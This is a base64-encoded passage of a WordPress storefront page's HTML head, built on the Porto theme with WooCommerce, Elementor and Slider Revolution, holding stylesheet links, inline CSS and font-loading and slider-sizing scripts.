0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2NvbnRhY3QtZm9ybS03LWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL2NvbnRhY3QtZm9ybS03L2luY2x1ZGVzL2Nzcy9zdHlsZXMuY3NzP3Zlcj01LjcuMycgbWVkaWE9J2FsbCcvPg0KICAgIDxzdHlsZSBpZD0nd29vY29tbWVyY2UtaW5saW5lLWlubGluZS1jc3MnPg0KICAgICAgICAud29vY29tbWVyY2UgZm9ybSAuZm9ybS1yb3cgLnJlcXVpcmVkIHsNCiAgICAgICAgICAgIHZpc2liaWxpdHk6IHZpc2libGU7DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J25leHRwYXktc3R5bGVzLWNzcycgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9uZXh0cGF5L2Fzc2V0cy9jc3MvcGF5LmNzcz92ZXI9djEuMi40Jw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1jc3MtdmFycy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvcG9ydG9fc3R5bGVzL3RoZW1lX2Nzc192YXJzLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2VsZW1lbnRvci1pY29ucy1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvcGx1Z2lucy9lbGVtZW50b3IvYXNzZXRzL2xpYi9laWNvbnMvY3NzL2VsZW1lbnRvci1pY29ucy5taW4uY3NzP3Zlcj01LjE3LjAnIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdlbGVtZW50b3ItZnJvbnRlbmQtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3VwbG9hZHMvZWxlbWVudG9yL2Nzcy9jdXN0b20tZnJvbnRlbmQtbGl0ZS5taW4uY3NzP3Zlcj0xNzA5ODc5NDk4JyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0nZWxlbWVudG9yLXBvc3QtMjE1Mi1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvdXBsb2Fkcy9lbGVtZW50b3IvY3NzL3Bvc3QtMjE1Mi5jc3M/dmVyPTE3MDk4Nzk0OTgnIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdib290c3RyYXAtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9ib290c3RyYXAuY3NzP3Zlcj02LjcuMicNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tcGx1Z2lucy1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvcGx1Z2lucy5jc3M/dmVyPTYuNy4yJw0KICAgICAgICAgIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by10aGVtZS1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXNob3J0Y29kZXMtY3NzJyBocmVmPScvd3AtY29udGVudC91cGxvYWRzL3BvcnRvX3N0eWxlcy9zaG9ydGNvZGVzLmNzcz92ZXI9Ni43LjInDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLXRoZW1lLXNob3AtY3NzJyBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lX3Nob3AuY3NzP3Zlcj02LjcuMicNCiAgICAgICAgICBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdGhlbWUtZWxlbWVudG9yLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC90aGVtZXMvcG9ydG8vY3NzL3RoZW1lX2VsZW1lbnRvci5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tZHluYW1pYy1zdHlsZS1jc3MnDQogICAgICAgICAgaHJlZj0nL3dwLWNvbnRlbnQvdXBsb2Fkcy9wb3J0b19zdHlsZXMvZHluYW1pY19zdHlsZS5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tdHlwZS1idWlsZGVyLWNzcycNCiAgICAgICAgICBocmVmPScvd3AtY29udGVudC9wbHVnaW5zL3BvcnRvLWZ1bmN0aW9uYWxpdHkvYnVpbGRlcnMvYXNzZXRzL3R5cGUtYnVpbGRlci5jc3M/dmVyPTIuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyBpZD0ncG9ydG8tc2hvcC1maWx0ZXItY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUvc2hvcC9zaG9wLWZpbHRlci9vZmZjYW52YXMuY3NzP3Zlcj02LjcuMicgbWVkaWE9J2FsbCcvPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J3BvcnRvLWFjY291bnQtbG9naW4tc3R5bGUtY3NzJw0KICAgICAgICAgIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9jc3MvdGhlbWUvc2hvcC9sb2dpbi1zdHlsZS9hY2NvdW50LWxvZ2luLmNzcz92ZXI9Ni43LjInIG1lZGlhPSdhbGwnLz4NCiAgICA8bGluayByZWw9J3N0eWxlc2hlZXQnIGlkPSdwb3J0by1zdHlsZS1jc3MnIGhyZWY9Jy93cC1jb250ZW50L3RoZW1lcy9wb3J0by9zdHlsZS5jc3M/dmVyPTYuNy4yJyBtZWRpYT0nYWxsJy8+DQogICAgPHN0eWxlIGlkPSdwb3J0by1zdHlsZS1pbmxpbmUtY3NzJz4NCiAgICAgICAgLnNpZGUtaGVhZGVyLW5hcnJvdy1iYXItbG9nbyB7DQogICAgICAgICAgICBtYXgtd2lkdGg6IDExMXB4DQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogOTkycHgpIHsNCiAgICAgICAgfQ0KDQogICAgICAgIC5wYWdlLXRvcCB1bC5icmVhZGNydW1iID4gbGkuaG9tZSB7DQogICAgICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2sNCiAgICAgICAgfQ0KDQogICAgICAgIC5wYWdlLXRvcCB1bC5icmVhZGNydW1iID4gbGkuaG9tZSBhIHsNCiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgICAgICAgICAgIHdpZHRoOiAxNHB4Ow0KICAgICAgICAgICAgdGV4dC1pbmRlbnQ6IC05OTk5cHgNCiAgICAgICAgfQ0KDQogICAgICAgIC5wYWdlLXRvcCB1bC5icmVhZGNydW1iID4gbGkuaG9tZSBhOmFmdGVyIHsNCiAgICAgICAgICAgIGNvbnRlbnQ6ICJcZTg4MyI7DQogICAgICAgICAgICBmb250LWZhbWlseTogJ3BvcnRvJzsNCiAgICAgICAgICAgIGZsb2F0OiBsZWZ0Ow0KICAgICAgICAgICAgdGV4dC1pbmRlbnQ6IDANCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiAxNTAwcHgpIHsNCiAgICAgICAgICAgIC5sZWZ0LXNpZGViYXIuY29sLWxnLTMsIC5yaWdodC1zaWRlYmFyLmNvbC1sZy0zIHsNCiAgICAgICAgICAgICAgICB3aWR0aDogMjAlDQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAubWFpbi1jb250ZW50IHsNCiAgICAgICAgICAgIGZsZXg6IDAgMCBhdXRvOw0KICAgICAgICAgICAgd2lkdGg6IDEwMCUNCiAgICAgICAgfQ0KDQogICAgICAgIC5jdXN0b20tZm9udDQsIC5jdXN0b20tZm9udDQgLmVsZW1lbnRvci1oZWFkaW5nLXRpdGxlIHsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnU2Vnb2UgU2NyaXB0JywgJ1Nhdm95ZSBMRVQnDQogICAgICAgIH0NCg0KICAgICAgICAud29vY29tbWVyY2UuYXJjaGl2ZSAuY29sdW1uMSAubWFpbi1jb250ZW50IHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiAwDQogICAgICAgIH0NCg0KICAgICAgICAucGFnZS13cmFwcGVyIHsNCiAgICAgICAgICAgIG1pbi1oZWlnaHQ6IDEwMHZoDQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1pbi13aWR0aDogMTQ0MHB4KSB7DQogICAgICAgICAgICAuY29udGFpbmVyLWZsdWlkLCBib2R5LndpZGUgLmNvbnRhaW5lcjpub3QoLmlubmVyLWNvbnRhaW5lcikgew0KICAgICAgICAgICAgICAgIHBhZGRpbmctbGVmdDogNDBweDsNCiAgICAgICAgICAgICAgICBwYWRkaW5nLXJpZ2h0OiA0MHB4DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5jb250YWluZXItZmx1aWQgLmVsZW1lbnRvci10b3Atc2VjdGlvbiB7DQogICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IC00MHB4Ow0KICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogLTQwcHg7DQogICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiA0MHB4Ow0KICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDQwcHgNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgLmNvbnRhaW5lci1mbHVpZCAuZWxlbWVudG9yLXRvcC1zZWN0aW9uLmVsZW1lbnRvci1zZWN0aW9uLWZ1bGxfd2lkdGggPiAuZWxlbWVudG9yLWNvbHVtbi1nYXAtbm8gew0KICAgICAgICAgICAgICAgIG1hcmdpbi1sZWZ0OiAwOw0KICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogMDsNCiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJQ0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAucHgtc2wtMCB7DQogICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAwICFpbXBvcnRhbnQ7DQogICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogMCAhaW1wb3J0YW50DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAudmlldy1zd2l0Y2hlciBsaS5tZW51LWl0ZW0gPiBhID4gW2NsYXNzKj0nZmxhZy0nXSB7DQogICAgICAgICAgICBkaXNwbGF5OiBub25lDQogICAgICAgIH0NCg0KICAgICAgICAjaGVhZGVyIC5wb3J0by12aWV3LXN3aXRjaGVyID4gbGkubWVudS1pdGVtID4gYSB7DQogICAgICAgICAgICBmb250LXNpemU6IC42MjVyZW07DQogICAgICAgICAgICBmb250LXdlaWdodDogNTAwDQogICAgICAgIH0NCg0KICAgICAgICAuaGVhZGVyLXNpZGUtbmF2IC5zaWRlYmFyLW1lbnUgPiBsaS5tZW51LWl0ZW0gPiAuYXJyb3c6YmVmb3JlIHsNCiAgICAgICAgICAgIG9wYWNpdHk6IC40DQogICAgICAgIH0NCg0KICAgICAgICAucG9ydG8tcHJvZHVjdHMtZmlsdGVyLWJvZHkgLnNpZGViYXIgew0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDANCiAgICAgICAgfQ0KDQogICAgICAgIEBtZWRpYSAobWluLXdpZHRoOiA5OTJweCkgew0KICAgICAgICAgICAgI2hlYWRlciAuc2VhcmNoZm9ybSB7DQogICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMmVtDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC5oZWFkZXItd3JhcHBlciAjaGVhZGVyIC5zZWFyY2hmb3JtIGJ1dHRvbiB7DQogICAgICAgICAgICAgICAgcGFkZGluZy1yaWdodDogMTJweA0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAuaGVhZGVyLXdyYXBwZXIgI2hlYWRlciAuc2VhcmNoZm9ybSBpbnB1dCB7DQogICAgICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxNXB4Ow0KICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICNoZWFkZXIgLmhlYWRlci1jb250YWN0IHsNCiAgICAgICAgICAgICAgICBmbGV4OiAwIDAgYXV0bzsNCiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTsNCiAgICAgICAgICAgICAgICBkaXNwbGF5OiBibG9jazsNCiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMTI1cmVtOw0KICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7DQogICAgICAgICAgICAgICAgb3JkZXI6IDANCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgICNoZWFkZXIgLnNoYXJlLWxpbmtzIGEgew0KICAgICAgICAgICAgZm9udC1zaXplOiAxcmVtOw0KICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IC41cmVtOw0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAuNXJlbQ0KICAgICAgICB9DQoNCiAgICAgICAgLmhlYWRlci1zaWRlLW5hdiAuc2lkZWJhci1tZW51IHsNCiAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDA7DQogICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IC0yMHB4DQogICAgICAgIH0NCg0KICAgICAgICBAbWVkaWEgKG1heC13aWR0aDogMTQzOXB4KSB7DQogICAgICAgICAgICAuaGVhZGVyLXNpZGUtbmF2IC5zaWRlYmFyLW1lbnUgPiBsaS5tZW51LWl0ZW0gPiBhLCAudG9nZ2xlLW1lbnUtd3JhcCAuc2lkZWJhci1tZW51ID4gbGkubWVudS1pdGVtID4gYSB7DQogICAgICAgICAgICAgICAgbGluZS1oZWlnaHQ6IDE3cHgNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIC5zZWN0aW9uLXRpdGxlIHsNCiAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiAuNXJlbTsNCiAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBzb2xpZCAjZTdlN2U3Ow0KICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMS41cmVtDQogICAgICAgIH0NCg0KICAgICAgICAuYnRuIHsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBQb3BwaW5zOw0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMA0KICAgICAgICB9DQoNCiAgICAgICAgLmJ0bi1mbGF0IHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6IG5vbmUgIWltcG9ydGFudDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDAgIWltcG9ydGFudDsNCiAgICAgICAgICAgIGJvcmRlcjogbm9uZSAhaW1wb3J0YW50Ow0KICAgICAgICAgICAgYm94LXNoYWRvdzogbm9uZSAhaW1wb3J0YW50DQogICAgICAgIH0NCg0KICAgICAgICAucG9ydG8taWJhbm5lci1sYXllciAuYnRuLWZsYXQuYnRuLXhsIHsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4xMjVlbQ0KICAgICAgICB9DQoNCiAgICAgICAgLm93bC1jYXJvdXNlbC5uYXYtc3R5bGUtNCAub3dsLW5hdiBbY2xhc3MqPSJvd2wtIl0gew0KICAgICAgICAgICAgZm9udC13ZWlnaHQ6IDcwMA0KICAgICAgICB9DQoNCiAgICAgICAgLnNpbmdsZS1wcm9kdWN0IC5wcm9kdWN0LWxheW91dC10cmFuc3BhcmVudCB7DQogICAgICAgICAgICBtYXJnaW4tdG9wOiAtMjBweA0KICAgICAgICB9DQoNCiAgICAgICAgdWwucHJvZHVjdHMgbGkucHJvZHVjdC1vbmltYWdlMyAucHJvZHVjdC1jb250ZW50IHsNCiAgICAgICAgICAgIG9wYWNpdHk6IDE7DQogICAgICAgICAgICBib3R0b206IDANCiAgICAgICAgfQ0KDQogICAgICAgIC5wYWdpbmF0aW9uLmxvYWQtbW9yZSAubmV4dCB7DQogICAgICAgICAgICB3aWR0aDogYXV0bzsNCiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMwMDA7DQogICAgICAgICAgICBjb2xvcjogI2ZmZjsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBQb3BwaW5zOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4Ow0KICAgICAgICAgICAgcGFkZGluZzogMTRweCA0MHB4DQogICAgICAgIH0NCg0KICAgICAgICAuY291cG9uLXNhbGUtdGV4dCBiIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jazsNCiAgICAgICAgICAgIHBvc2l0aW9uOiByZWxhdGl2ZTsNCiAgICAgICAgICAgIGNvbG9yOiAjZmZmOw0KICAgICAgICAgICAgbWFyZ2luLXJpZ2h0OiAxZW0NCiAgICAgICAgfQ0KDQogICAgICAgIC5jb3Vwb24tc2FsZS10ZXh0IGI6YmVmb3JlIHsNCiAgICAgICAgICAgIGNvbnRlbnQ6ICcnOw0KICAgICAgICAgICAgcG9zaXRpb246IGFic29sdXRlOw0KICAgICAgICAgICAgbGVmdDogLS41ZW07DQogICAgICAgICAgICB0b3A6IC0uMWVtOw0KICAgICAgICAgICAgcmlnaHQ6IC0uNWVtOw0KICAgICAgICAgICAgYm90dG9tOiAtLjFlbTsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICMyMjI1Mjk7DQogICAgICAgICAgICB6LWluZGV4OiAtMTsNCiAgICAgICAgICAgIHRyYW5zZm9ybTogcm90YXRlKC0xLjVkZWcpIHNrZXcoMS41ZGVnKQ0KICAgICAgICB9DQoNCiAgICAgICAgLnNpbmdsZS1wcm9kdWN0IC5wcm9kdWN0X3RpdGxlIHsNCiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiBQb3BwaW5zDQogICAgICAgIH0NCg0KICAgICAgICAucG9ydG8tcmVsYXRlZC1wcm9kdWN0cyB7DQogICAgICAgICAgICBiYWNrZ3JvdW5kOiBub25lOw0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDANCiAgICAgICAgfQ0KDQogICAgICAgICNjb250ZW50LWJvdHRvbSArIC5wb3J0by1yZWxhdGVkLXByb2R1Y3RzIHsNCiAgICAgICAgICAgIGJhY2tncm91bmQ6ICNmNGY0ZjQ7DQogICAgICAgICAgICBwYWRkaW5nLXRvcDogNDBweA0KICAgICAgICB9DQoNCiAgICAgICAgLnR5cGUtcHJvZHVjdCA+IC5wb3J0by1yZWxhdGVkLXByb2R1Y3RzIHsNCiAgICAgICAgICAgIHBhZGRpbmctdG9wOiA0MHB4DQogICAgICAgIH0NCg0KICAgICAgICAuZm9vdGVyLXRvcCB7DQogICAgICAgICAgICBwYWRkaW5nOiAwDQogICAgICAgIH0NCg0KICAgICAgICAuZm9vdGVyLXRvcCAucG9ydG8tYmxvY2sgew0KICAgICAgICAgICAgYm9yZGVyLXdpZHRoOiAxcHggMDsNCiAgICAgICAgICAgIGJvcmRlci1zdHlsZTogc29saWQ7DQogICAgICAgICAgICBib3JkZXItY29sb3I6ICNlN2U3ZTcNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLndpZGdldC10aXRsZSB7DQogICAgICAgICAgICBmb250LXNpemU6IDE1cHg7DQogICAgICAgICAgICBmb250LXdlaWdodDogNzAwDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5zaGFyZS1saW5rcyBhIHsNCiAgICAgICAgICAgIGJveC1zaGFkb3c6IG5vbmU7DQogICAgICAgICAgICBmb250LXNpemU6IDE0cHg7DQogICAgICAgICAgICB3aWR0aDogMzZweDsNCiAgICAgICAgICAgIGhlaWdodDogMzZweDsNCiAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDE4cHgNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLmNvbnRhY3QtaW5mbyBpIHsNCiAgICAgICAgICAgIGRpc3BsYXk6IG5vbmUNCiAgICAgICAgfQ0KDQogICAgICAgICNmb290ZXIgLmNvbnRhY3QtaW5mbyAuY29udGFjdC1kZXRhaWxzIHN0cm9uZywgI2Zvb3RlciAuY29udGFjdC1pbmZvIC5jb250YWN0LWRldGFpbHMgc3BhbiB7DQogICAgICAgICAgICBwYWRkaW5nOiAwDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5jb250YWN0LWluZm8gLmNvbnRhY3QtZGV0YWlscyBzdHJvbmcgew0KICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTsNCiAgICAgICAgICAgIGxpbmUtaGVpZ2h0OiAxDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5mb290ZXItbWFpbiA+IC5jb250YWluZXIgew0KICAgICAgICAgICAgcGFkZGluZy10b3A6IDIuMjVyZW07DQogICAgICAgICAgICBwYWRkaW5nLWJvdHRvbTogMA0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAuZm9vdGVyLW1haW4gPiAuY29udGFpbmVyOmFmdGVyIHsNCiAgICAgICAgICAgIGNvbnRlbnQ6ICcnOw0KICAgICAgICAgICAgZGlzcGxheTogYmxvY2s7DQogICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgI2U3ZTdlNw0KICAgICAgICB9DQoNCiAgICAgICAgI2Zvb3RlciAud2lkZ2V0X3d5c2lqYV9jb250IC53eXNpamEtaW5wdXQgew0KICAgICAgICAgICAgYmFja2dyb3VuZDogI2Y0ZjRmNDsNCiAgICAgICAgICAgIGZvbnQtc2l6ZTogLjgxMjVyZW07DQogICAgICAgICAgICBib3JkZXItcmFkaXVzOiAycmVtIDAgMCAycmVtOw0KICAgICAgICAgICAgcGFkZGluZy1sZWZ0OiAxLjI1cmVtDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC53aWRnZXRfd3lzaWphX2NvbnQgLnd5c2lqYS1zdWJtaXQgew0KICAgICAgICAgICAgZm9udC1zaXplOiAuODEyNXJlbTsNCiAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiA3MDA7DQogICAgICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOw0KICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogMCAycmVtIDJyZW0gMDsNCiAgICAgICAgICAgIHBhZGRpbmc6IDAgMS41cmVtDQogICAgICAgIH0NCg0KICAgICAgICAjZm9vdGVyIC5mb290ZXItYm90dG9tIHsNCiAgICAgICAgICAgIHBhZGRpbmctYm90dG9tOiAzcmVtOw0KICAgICAgICAgICAgZm9udC1zaXplOiAxMnB4DQogICAgICAgIH0NCiAgICA8L3N0eWxlPg0KICAgIDxsaW5rIHJlbD0nc3R5bGVzaGVldCcgaWQ9J2dvb2dsZS1mb250cy0xLWNzcycNCiAgICAgICAgICBocmVmPSdodHRwczovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9Um9ib3RvJTNBMTAwJTJDMTAwaXRhbGljJTJDMjAwJTJDMjAwaXRhbGljJTJDMzAwJTJDMzAwaXRhbGljJTJDNDAwJTJDNDAwaXRhbGljJTJDNTAwJTJDNTAwaXRhbGljJTJDNjAwJTJDNjAwaXRhbGljJTJDNzAwJTJDNzAwaXRhbGljJTJDODAwJTJDODAwaXRhbGljJTJDOTAwJTJDOTAwaXRhbGljJTdDUm9ib3RvK1NsYWIlM0ExMDAlMkMxMDBpdGFsaWMlMkMyMDAlMkMyMDBpdGFsaWMlMkMzMDAlMkMzMDBpdGFsaWMlMkM0MDAlMkM0MDBpdGFsaWMlMkM1MDAlMkM1MDBpdGFsaWMlMkM2MDAlMkM2MDBpdGFsaWMlMkM3MDAlMkM3MDBpdGFsaWMlMkM4MDAlMkM4MDBpdGFsaWMlMkM5MDAlMkM5MDBpdGFsaWMmIzAzODtkaXNwbGF5PXN3YXAmIzAzODt2ZXI9Ni4xLjUnDQogICAgICAgICAgbWVkaWE9J2FsbCcvPg0KICAgIDxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS5taW4uanM/dmVyPTMuNi4xJyBpZD0nanF1ZXJ5LWNvcmUtanMnPjwvc2NyaXB0Pg0KICAgIDxzY3JpcHQgc3JjPScvd3AtaW5jbHVkZXMvanMvanF1ZXJ5L2pxdWVyeS1taWdyYXRlLm1pbi5qcz92ZXI9My4zLjInIGlkPSdqcXVlcnktbWlncmF0ZS1qcyc+PC9zY3JpcHQ+DQoNCiAgICA8IS0tIEh1YlNwb3QgV29yZFByZXNzIFBsdWdpbiB2MTAuMC4xOTogZW1iZWQgSlMgZGlzYWJsZWQgYXMgYSBwb3J0YWxJZCBoYXMgbm90IHlldCBiZWVuIGNvbmZpZ3VyZWQgLS0+DQogICAgPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KICAgICAgICBXZWJGb250Q29uZmlnID0gew0KICAgICAgICAgICAgZ29vZ2xlOiB7ZmFtaWxpZXM6IFsnUG9wcGluczo0MDAsNTAwLDYwMCw3MDAsODAwJywgJ1BsYXlmYWlyK0Rpc3BsYXk6NDAwLDcwMCddfQ0KICAgICAgICB9Ow0KICAgICAgICAoZnVuY3Rpb24gKGQpIHsNCiAgICAgICAgICAgIHZhciB3ZiA9IGQuY3JlYXRlRWxlbWVudCgnc2NyaXB0JyksIHMgPSBkLnNjcmlwdHNbZC5zY3JpcHRzLmxlbmd0aCAtIDFdOw0KICAgICAgICAgICAgd2Yuc3JjID0gJ3t7cHJlZml4fX0vd3AtY29udGVudC90aGVtZXMvcG9ydG8vanMvbGlicy93ZWJmb250LmpzJzsNCiAgICAgICAgICAgIHdmLmFzeW5jID0gdHJ1ZTsNCiAgICAgICAgICAgIHMucGFyZW50Tm9kZS5pbnNlcnRCZWZvcmUod2YsIHMpOw0KICAgICAgICB9KShkb2N1bWVudCk7PC9zY3JpcHQ+DQogICAgPG5vc2NyaXB0Pg0KICAgICAgICA8c3R5bGU+Lndvb2NvbW1lcmNlLXByb2R1Y3QtZ2FsbGVyeSB7DQogICAgICAgICAgICBvcGFjaXR5OiAxICFpbXBvcnRhbnQ7DQogICAgICAgIH08L3N0eWxlPg0KICAgIDwvbm9zY3JpcHQ+DQogICAgPG1ldGEgbmFtZT0iZ2VuZXJhdG9yIg0KICAgICAgICAgIGNvbnRlbnQ9IlBvd2VyZWQgYnkgU2xpZGVyIFJldm9sdXRpb24gNi41LjIwIC0gcmVzcG9uc2l2ZSwgTW9iaWxlLUZyaWVuZGx5IFNsaWRlciBQbHVnaW4gZm9yIFdvcmRQcmVzcyB3aXRoIGNvbWZvcnRhYmxlIGRyYWcgYW5kIGRyb3AgaW50ZXJmYWNlLiIvPg0KICAgIDxzY3JpcHQ+ZnVuY3Rpb24gc2V0UkVWU3RhcnRTaXplKGUpIHsNCiAgICAgICAgLy93aW5kb3cucmVxdWVzdEFuaW1hdGlvbkZyYW1lKGZ1bmN0aW9uKCkgew0KICAgICAgICB3aW5kb3cuUlNJVyA9IHdpbmRvdy5SU0lXID09PSB1bmRlZmluZWQgPyB3aW5kb3cuaW5uZXJXaWR0aCA6IHdpbmRvdy5SU0lXOw0KICAgICAgICB3aW5kb3cuUlNJSCA9IHdpbmRvdy5SU0lIID09PSB1bmRlZmluZWQgPyB3aW5kb3cuaW5uZXJIZWlnaHQgOiB3aW5kb3cuUlNJSDsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIHZhciBwdyA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGUuYykucGFyZW50Tm9kZS5vZmZzZXRXaWR0aCwNCiAgICAgICAgICAgICAgICBuZXdoOw0KICAgICAgICAgICAgcHcgPSBwdyA9PT0gMCB8fCBpc05hTihwdykgPyB3aW5kb3cuUlNJVyA6IHB3Ow0KICAgICAgICAgICAgZS50YWJ3ID0gZS50YWJ3ID09PSB1bmRlZmluZWQgPyAwIDogcGFyc2VJbnQoZS50YWJ3KTsNCiAgICAgICAgICAgIGUudGh1bWJ3ID0gZS50aHVtYncgPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRodW1idyk7DQogICAgICAgICAgICBlLnRhYmggPSBlLnRhYmggPT09IHVuZGVmaW5lZCA/IDAgOiBwYXJzZUludChlLnRhYmgpOw0KICAgICAgICAgICAgZS50aHVtYmggPSBlLnRodW1iaCA9PT0gdW5kZWZpbmVkID8gMCA6IHBhcnNlSW50KGUudGh1bWJoKTsNCiAgICAgICAgICAgIGUudGFiaGlkZSA9IGUudGFiaGlkZSA9PT0gdW5kZW